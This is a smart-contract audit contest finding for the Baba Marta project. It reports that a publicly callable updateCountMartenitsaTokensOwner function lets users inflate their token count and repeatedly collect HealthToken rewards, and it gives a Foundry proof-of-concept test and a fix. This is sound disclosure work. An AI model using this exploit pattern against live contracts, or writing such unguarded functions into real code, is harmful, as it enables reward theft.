First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Users can increment their token count with no restriction by calling `MartenitsaToken::updateCountMartenitsaTokensOwner` function, causing to increase their HealthToken balance

0xShiki

Vulnerability Details

The purpose of the HealthToken token is to serve as a reward mechanism for participants who have more than 3 MartenitsaTokens. For every 3 different MartenitsaTokens they receive 1 HealthToken. Users can also join an event if they have sufficient amount of HealthToken tokens, where they can become producers during the event and be able to sell their MartenitsaToken NFTs. However, users can update MartenitsaToken::countMartenitsaTokensOwner mapping without restriction by calling updateCountMartenitsaTokensOwner, because it's marked as an external function. In that way, users can manipulate the contract by:

  1. joining events

  2. becoming producers

  3. becoming sellers to sell their MartenitsaToken NFTs.

The other problem with this is that users can call MartenitsaMarketplace::collectReward and receive HealthTokens for every 3 different MartenitsaTokens they own, since collectReward relies on the MartenitsaToken::countMartenitsaTokensOwner mapping.

Impact

By incrementing their token ID count, users can falsely join events, become producers, and sell MatenitsaToken NFTs. Also, by incrementing the MartenitsaToken::countMartenitsaTokensOwner mapping, users can receive infinite HealthTokens by calling MartenitsaMarketplace::collectReward.

Tools Used

Manual Review

Proof of Code

Add this test to MartenitsaMarketplace.t.sol:

PoC
function testUserCanIncreaseTheirTokenCount() public {
// Bob update his token count to 3
vm.startPrank(bob);
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
vm.stopPrank();
console.log("Bob's Token Id count: ", martenitsaToken.getCountMartenitsaTokensOwner(bob));
​
// Bob collect rewards for having a count of 3
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
​
console.log("Bob's Health Token balance: ", healthToken.balanceOf(bob));
​
// Bob update his token count to 6
vm.startPrank(bob);
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
vm.stopPrank();
console.log("-----------------------------");
​
console.log("Bob's Token Id count: ", martenitsaToken.getCountMartenitsaTokensOwner(bob));
​
// Bob collect rewards for having a count of 6
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
​
console.log("Bob's Health Token balance: ", healthToken.balanceOf(bob));
}

The logs from this test show that Bob increments his token ID count by 3 without restriction, and collects a reward of 1 HealthToken. Then, he increments his token ID count by 3 again, and collects another reward of 1 more HealthToken. resulting in owning a total of 2 HealthTokens.

Recommendations

Consider implementing a different logic in MartenitsaToken and MartenitsaMarketplace contracts. For instance, the updateCountMartenitsaTokensOwner function can be removed from the MartenitsaToken contract, and be implemented as an internal function in the MartenitsaMarketplace contract. In this way, the MartenitsaMarketplace contract can control the increment of the token ID count, and the reward mechanism can be implemented in a more secure way.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.